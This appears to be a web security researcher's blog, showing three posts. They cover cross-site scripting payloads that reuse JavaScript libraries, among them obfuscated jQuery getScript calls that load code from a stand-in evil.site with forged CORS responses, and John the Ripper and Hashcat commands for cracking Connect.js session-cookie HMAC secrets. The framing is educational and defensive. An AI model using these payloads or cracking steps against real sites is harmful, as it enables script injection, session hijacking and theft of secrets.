-
In 1st edition AD&D two character classes had their own private languages: Druids and Thieves. Thus, a character could speak in Thieves’ Cant to identify peers, bargain, threaten, or otherwise discuss malevolent matters with a degree of secrecy. (Of course, Magic-Users had that troublesome first level spell comprehend languages, and Assassins of 9th level or higher could learn secret or alignment languages forbidden to others.)
Thieves rely on subterfuge (and high DEX) to avoid unpleasant ends. Shakespeare didn’t make it into the list of inspirational reading in Appendix N of the DMG. Even so, consider in Henry VI, Part II, how the Duke of Gloucester (later to be Richard III) defends his treatment of certain subjects, with two notable exceptions:
Unless it were a bloody murderer,
Or foul felonious thief that fleec’d poor passengers,
I never gave them condign punishment.
Developers have their own spoken language for discussing code and coding styles. They litter conversations with terms of art like patterns and anti-patterns, which serve as shorthand for design concepts or litanies of caution. One such pattern is Don’t Repeat Yourself (DRY), of which Code Reuse is a lesser manifestation.
Hackers code, too.
The most boring of HTML injection examples is to display an
alert()
message. The second most boring is to insert thedocument.cookie
value into a request. But this is the era of HTML5 and roses; hackers need look no further than a vulnerable Same Origin to find useful JavaScript libraries and functions.There are two important reasons for taking advantage of DRY in a web hack:
- Avoid inadequate deny lists (which is really a redundant term).
- Leverage code that already exists.
Keep in mind that none of the following hacks are flaws of their respective JavaScript library. The target is assumed to have an HTML injection vulnerability – our goal is to take advantage of code already present on the hacked site in order to minimize our effort.
For example, imagine an HTML injection vulnerability in a site that uses the AngularJS library. The attacker could use a payload like:
angular.bind(self, alert, 9)()
In Ember.js the payload might look like:
Ember.run(null, alert, 9)
The pervasive jQuery might have a string like:
$.globalEval(alert(9))
And the Underscore library might be leveraged with:
_.defer(alert, 9)
These are nice tricks. They might seem to do little more than offer fancy ways of triggering an
alert()
message, but the code is trivially modifiable to a more lethal version worthy of a vorpal blade.More importantly, these libraries provide the means to load – and execute! – JavaScript from a different origin. After all, browsers don’t really know the difference between a CDN and a malicious domain.
The jQuery library provides a few ways to obtain code:
$.get('//evil.site/') $('#selector').load('//evil.site')
Prototype has an
Ajax
object. It will load and execute code from a call like:new Ajax.Request('//evil.site/')
But this has a catch: the request includes “non-simple” headers via the XHR object and therefore triggers a CORS pre-flight check in modern browsers. An invalid pre-flight response will cause the attack to fail. Cross-Origin Resource Sharing is never a problem when you’re the one sharing the resource.
In the Prototype
Ajax
example, a browser’s pre-flight might look like the following. The initiating request comes from a link we’ll callhttps://web.site/xss_vuln.page
.OPTIONS https://evil.site/ HTTP/1.1 Host: evil.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.5 Origin: https://web.site Access-Control-Request-Method: POST Access-Control-Request-Headers: x-prototype-version,x-requested-with Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-length: 0
As someone with influence over the content served by evil.site, it’s easy to let the browser know that this incoming cross-origin XHR request is perfectly fine. Hence, we craft some code to respond with the appropriate headers:
HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26 Access-Control-Allow-Origin: https://web.site Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with Access-Control-Expose-Headers: x-json Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8
With that out of the way, the browser continues its merry way to the cursed resource. We’ve done nothing to change the default behavior of the
Ajax
object, so it produces a POST. (Changing the method to GET would not have avoided the CORS pre-flight because the request would have still included customX-
headers.)POST https://evil.site/HWA/ch2/cors_payload.php HTTP/1.1 Host: evil.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:23.0) Gecko/20100101 Firefox/23.0 Accept: text/javascript, text/html, application/xml, text/xml, \*/\* Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://web.site/HWA/ch2/prototype_xss.php Content-Length: 0 Origin: https://web.site Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Finally, our site responds with CORS headers intact and a payload to be executed. We’ll be even lazier and tell the browser to cache the CORS response so it’ll skip subsequent pre-flights for a while.
HTTP/1.1 200 OK Date: Tue, 27 Aug 2013 05:05:08 GMT Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.1e DAV/2 SVN/1.7.10 PHP/5.3.26 X-Powered-By: PHP/5.3.26 Access-Control-Allow-Origin: https://web.site Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: x-json,x-prototype-version,x-requested-with Access-Control-Expose-Headers: x-json Access-Control-Max-Age: 86400 Content-Length: 10 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/javascript; charset=utf-8 alert(9);
Okay. So, it’s another
alert()
message. I suppose I’ve repeated myself enough on that topic for now.It should be noted that Content Security Policy just might help you in this situation. The catch is that you need to have architected your site to remove all inline JavaScript. That’s not always an easy feat. Even experienced developers of major libraries like jQuery are struggling to create CSP-compatible content. Never the less, auditing and improving code for CSP is a worthwhile endeavor. Even 1st level thieves only have a 20% change to Find/Remove Traps. The chance doesn’t hit 50% until 7th level. Improvement takes time.
And the price for failure? Well, it turns out condign punishment has its own API.
• • • -
Oh, the secrets you’ll know if to GitHub you go. The phrases committed by coders exhibited a mistaken sense of security.
A password ensures, while its secrecy endures, a measure of proven identity.
Share that short phrase for the public to gaze at repositories open and clear. Then don’t be surprised at the attacker disguised with the secrets you thought were unknown.
*sigh*
It’s no secret that I gave a BlackHat presentation a few weeks ago. It’s no secret that the CSRF countermeasure we proposed avoids nonces, random numbers, and secrets. It’s no secret that GitHub is a repository of secrets.
And that’s how I got side-tracked for two days hunting secrets on GitHub when I should have been working on slides.
Your Secret
Security that relies on secrets (like passwords) fundamentally relies on the preservation of that secret. There’s no hidden wisdom behind that truism, no subtle paradox to grant it the standing of a koan. It’s a simple statement too often ignored, bent, and otherwise abused.
It started with research on examples of CSRF token implementations. But the hunt soon diverged from queries for
connect.sid
to tokens likeOAUTH_CONSUMER_SECRET
, tossh://
andmongodb://
schemes. Such beasts of the wild had been noticed – they tend to roam with little hindrance.Sometimes these beasts leap from cover into the territory of plaintext. Sometimes they remain camouflaged behind hashes and ciphers. Crypto functions conceal the nature of a beast, but the patient hunter will be able to discover it given time.
The mechanisms used to protect secrets, such as encryption and hash functions, are intended to maximize an attacker’s effort at trying to reverse-engineer the secret. The choice of hash function has no appreciable effect on a dictionary-based brute force attack (at least not until your dictionary or a hybrid-based approach reaches the size of the target keyspace). In the long run of an exhaustive brute force search, a “bigger” hash like SHA-512 would take longer than SHA-256 or MD5. But that’s not the smart way to increase the attacker’s work factor.
Iterated hashing techniques are more effective at increasing the attacker’s work factor. Such techniques have a tunable property that may be adjusted with regard to the expected cracking speeds of an attacker. For example, in the PBKDF2 algorithm, both the HMAC algorithm and number of rounds can be changed, so an HMAC-SHA1 could be replaced by HMAC-SHA256 and 1,000 rounds could be increased to 10,000. (The changes would not be compatible with each other, so you would still need a migration plan when moving from one setting to another.)
Of course, the choice of work factor must be balanced with a value you’re willing to encumber the site with. The number of “nonce” events for something like CSRF is far more frequent than the number of “hash” events for authentication. For example, a user may authenticate once in a one-hour period, but visit dozens of pages during that same time.
Our Secret
But none of that matters if you’re relying on a secret that’s easy to guess, like default passwords. And it doesn’t matter if you’ve chosen a nice, long passphrase that doesn’t appear in any dictionary if you’ve checked that password into a public source code repository.
In honor of the password cracking chapter of the upcoming AHTK 4th Edition, we’ll briefly cover how to guess HMAC values.
We’ll use the Connect JavaScript library for Node.js as a target for this guesswork. It contains a CSRF countermeasure that relies on nonces generated via an HMAC. This doesn’t mean Connect.js implements the HMAC algorithm incorrectly or contains a design error. It just means that the security of an HMAC relies on the secrecy of its password.
Here’s a snippet of the Connect.js code in action. Note the default secret,
keyboard cat
.... var app = connect() .use(connect.cookieParser()) .use(connect.session({ secret: 'keyboard cat' })) .use(connect.bodyParser()) .use(connect.csrf()) ...
If you come across a web app that sets a
connect.sess
orconnect.sid
cookie, then it’s likely to have been created by this library. And it’s just as likely to be using a bad password for the HMAC. Let’s put that to the test with the following cookies.Set-Cookie: connect.sess=s%3AGY4Xp1AWB5PVzYHCANaXHznO. PUvao3Y6%2FXxLAG%2Bp4xQEBAcbqMCJPACQUvS2WCfsmKU; Path=/; Expires=Fri, 28 Jun 2013 23:13:52 GMT; HttpOnly Set-Cookie: connect.sid=s%3ATdF%2FriiKHfdilCTc4W5uAAhy. qTtH9ZL5pxgClGbZ0I0E3efJTrdC0jia6YxFh3cWKrU; path=/; expires=Fri, 28 Jun 2013 22:51:58 GMT; httpOnly Set-Cookie: connect.sid=CJVZnS56R6NY8kenBhhIOq0h. 0opeJzAPZ3efz0dw5YJrGqVv4Fi%2BWVIThEsGHMRqDw0; Path=/; HttpOnly
Everyone’s Secret
John the Ripper is a venerable password guessing tool with ancient roots in the security community. Its rule-based guessing techniques and speed make it a powerful tool for cracking passwords. In this case, we’re just interested in its ability to target the HMAC-SHA256 algorithm.
First, we need to reformat the cookies into a string that John recognizes. For these cookies, resolve the percent-encoded characters, replace the dot (.) with a hash (#). Some of the cookies contained a JSON-encoded version of the session value, others contained only the session value.
GY4Xp1AWB5PVzYHCANaXHznO#3d4bdaa3763afd7c4b006fa9e3140404071ba8c0893c009052f4b65827ec98a5 TdF/riiKHfdilCTc4W5uAAhy#a93b47f592f9a718029466d9d08d04dde7c94eb742d2389ae98c458777162ab5 CJVZnS56R6NY8kenBhhIOq0h#d28a5e27300f67779fcf4770e5826b1aa56fe058be595213844b061cc46a0f0d
Next, we unleash John against it. The first step might use a dictionary, such as a words.txt file you might have laying around. (The book covers more techniques and clever use of rules to target password patterns. John’s own documentation can also get you started.)
$ ./john --format=hmac-sha256 --wordlist=words.txt sids.john
Review your successes with the
--show
option.$ ./john --show sids.john
Hashcat is another password guessing tool. It takes advantage of GPU processors to emphasize rate of guesses. It requires a slightly different format for the HMAC-256 input file. The order of the password and salt is reversed from John, and it requires a colon separator.
3d4bdaa3763afd7c4b006fa9e3140404071ba8c0893c009052f4b65827ec98a5:GY4Xp1AWB5PVzYHCANaXHznO a93b47f592f9a718029466d9d08d04dde7c94eb742d2389ae98c458777162ab5:TdF/riiKHfdilCTc4W5uAAhy d28a5e27300f67779fcf4770e5826b1aa56fe058be595213844b061cc46a0f0d:CJVZnS56R6NY8kenBhhIOq0h
Hashcat uses numeric references to the algorithms it supports. The following command runs a dictionary attack against hash algorithm 1450, which is HMAC-SHA256.
$ ./hashcat-cli64.app -a 0 -m 1450 sids.hashcat words.txt
Review your successes with the
--show
option.$ ./hashcat-cli64.app --show -a 0 -m 1450 sids.hashcat words.txt
All sorts of secrets lurk in GitHub. Of course, the fundamental problem is that they shouldn’t be there in the first place. There are many more types of secrets than hashed passphrases, too.
• • • -
A common theme among injection attacks that manifest within a JavaScript context (e.g.
<script>
tags) is that proper payloads preserve proper syntax. We’ve belabored the point of this dark art with such dolorous repetition that even Professor Umbridge might approve.We’ve covered the most basic of HTML injection exploits, exploits that need some tweaking to bypass weak filters, and different ways of constructing payloads to preserve their surrounding syntax. The typical process is choose a parameter (or a cookie!), find if and where its value shows up in a page, hack the page. It’s a single-minded purpose against a single injection vector.
Until now.
It’s possible to maintain this single-minded purpose, but to do so while focusing on two variables. This is an elusive beast of HTML injection in which an app reflects more than one parameter within the same page. It gives us more flexibility in the payloads, which sometimes helps evade certain kinds of patterns used in input filters or web app firewall rules.
This example targets two URL parameters used as arguments to a function that expects the start and end of a time period. Forget time, we’d like to start an attack and end with its success.
Here’s a version of the link with numeric arguments: https://web.site/TimeZone.aspx?start=1&end=2
The app uses these values inside a
<script>
block, as follows:var start = 1, end = 2; $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
The “normal” attack is simple:
https://web.site/TimeZone.aspx?start=alert(9);//&end=2
This results in a successful
alert()
, but the app has some sort of silly check that strips theend
value if it’s not greater than thestart
. Thus, you can’t havestart=2&end=1
. And the comparison always fails if you use a string forstart
, becauseend
will never be greater than whatever the string is cast to (likely zero). At least the devs remembered to enforce numeric consistency in spite of security deficiency.var start = alert(9);//, end = ; $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
But that’s inelegant compared with the attention to detail we’ve been advocating for exploit creation. The app won’t assign a value to
end
, thereby leaving us with a syntax error. To compound the issue, the developers have messed up their own code, leaving the browser to complain:ReferenceError: Can't find variable: $
Let’s see what we can do to help. For starters, we’ll just assign
start
toend
(internally, the app has likely compared a string-cast-to-number with another string-cast-to-number, both of which fail identically, which lets the payload through). Then, we’ll resolve the undefined variable for them – but only because we want a clean error console upon delivering the attack.https://web.site/TimeZone.aspx?start=alert(9);//&end=start;$=null
var start = alert(9);//, end = start;$=null; $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
What’s interesting about “two factor” vulns like this is the potential for using them to bypass validation filters.
https://web.site/TimeZone.aspx?start=window["ale"/*&end=*/%2b"rt"](9)
var start = window["ale"/* end = */+"rt"](9); $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
Rather than think about different ways to pop an
alert()
in someone’s browser, think about what could be possible if jQuery was already loaded in the page. Thanks to JavaScript’s design, it doesn’t even hurt to pass extra arguments to a function:https://web.site/TimeZone.aspx?start=$["getSc"%2b"ript"]("https://evil.site/"&end=undefined)
var start = $["getSc"+"ript"]("https://evil.site/", end = undefined); $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
And if it’s necessary to further obfuscate the payload we might try this:
https://web.site/TimeZone.aspx?start=%22getSc%22%2b%22ript%22&end=$[start]%28%22//evil.site/%22%29
var start = "getSc"+"ript", end = $[start]("//evil.site/"); $(JM.Scheduler.TimeZone.init(start, end)); foo.init();
Maybe combining two parameters into one attack reminds you of the theme of two hearts from 80s music. Possibly U2’s War from 1983. I never said I wasn’t gonna tell nobody about a hack like this, just like that Stacey Q song a few years later – two of hearts, two hearts that beat as one. Or Phil Collins’ Two Hearts three years after that.
Although, if you forced me to choose between two hearts that beat as one, I’d choose a Timelord, of course. In particular, someone that preceded all that music: Tom Baker.
Jelly Baby, anyone?
• • •